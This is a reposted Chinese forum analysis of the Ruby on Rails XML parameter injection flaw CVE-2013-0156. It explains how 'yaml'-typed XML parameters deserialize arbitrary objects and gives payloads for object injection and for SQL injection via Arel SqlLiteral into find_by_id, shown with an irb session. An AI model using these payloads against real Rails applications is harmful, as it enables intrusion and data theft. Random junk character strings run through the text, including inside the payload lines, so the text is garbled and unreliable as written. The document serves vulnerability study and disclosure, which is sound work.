标题: Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析 [打印本页] 作者: admin 时间: 2013-1-11 21:16 标题: Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析 Author: wofeiwo#80sec.com & d% a w3 v" E. p
% X8 t( g2 x4 W u注意，本文基本是这篇文章的中文版本，由于我水平有限，因此如果大家看的不是很明白，建议去原文查看。 * I t! C! }' E8 `. p- l: b
" Z6 i: o: C& ]# _: v* k" ~& U近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156. % l' V- F7 i' S7 s
|8 ^ X1 b% v
CVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了. * z% m. W2 t' z, Y+ O! m2 ~8 B1 {2 x1 q# H, m8 \
为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如: 2 N5 V! S; v: h0 g, Q8 |. W& d3 p ; H) U+ @& @! I, m9 E {<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为: 4 M% d: O1 m) @1 d% w* ^7 @ - A. S3 i0 Y! [) G"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml. 3 a. l+ t0 \; c/ d `, ?( ?4 n% {: l) L: V1 J3 {
说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么? / u, a% Z/ s. A+ y0 u* }. V) _! Q 9 z" Q! n7 ]$ x, X然后我们测试下，就会发现，由于框架中对参数进行 data.with_indifferent_access 的操作（会把key全变成string），我们还是无法通过xml去将Key变成Symbol类型。所以，也无法利用此漏洞去利用CVE-2012-6496。 ) t% n9 m- b; i2 {+ d* l
$ L% ?' j+ R6 o/ h6 @! O但是等等，还有另一个参数类型，yaml。 1 E) B6 l$ @' i8 L! G* J `+ a1 i
$ e3 v' O6 J% Q
yaml强大的地方在于，利用yaml语言，你可以让Rails生成各种类型的数据结构，例如，Object。 / a8 I; O, `$ [
9 y. r: B# M6 H6 |8 p' ^9 j
<test type="yaml">--- !ruby/object:A 7 y6 R9 Q5 l9 b3 P; `aaa: bbb </test>这基本类似于一个变量反序列化的过程，实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中，有将此Object的aaa属性带入eval/exec/system等关键语句中，就可以执行一些被污染的代码。 - O" a0 w n) v( B" A1 i
) d6 X- Z2 }; @! Z* h6 R0 i h1 u+ q
如果你熟悉rails的代码，或者其他开源rails的webapp，现在就可以找起来了。或许一个远程执行0day就此诞生。 3 }, Q5 ]5 W. i$ L. R. L( F4 N" U. a5 z6 R$ j" k% q l- A
如果你不熟悉ror，那么也没问题，实际上还有个利用方式，可以直接进行sql注入。 1 L$ I3 u! _, N. a
" S' {$ N& S" n8 [4 Z4 @2 h% \, t* K一般在RoR中都是使用model.find_by_*的方式进行数据库查询（ActiveRecord模式） ! P$ {2 z4 T" K3 r- r: R7 e0 k8 t8 E) `, Z
model.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量，使其成为可以注入的内容： ' V; r- S! @$ S: g7 r $ E( F4 D+ i4 F4 T6 C<id type=yaml>--- !str:Arel::Nodes::SqlLiteral7 v7 ~' L6 d0 @# \
1 and 1=2 </id>利用如上代码，通过SqlLiteral对象，即可进行sql注入。 / k' L1 s" r7 W6 D! z2 H1 z6 y! l8 S3 i/ A4 t
irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms)[0m SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助，没有他的解释和测试，我是无法理解RoR及本漏洞的。 - j$ K4 n9 L6 G' v' c/ R9 t# ^, a. N& b, {2 S& ^6 A* N0 f. ?0 ~1 N4 j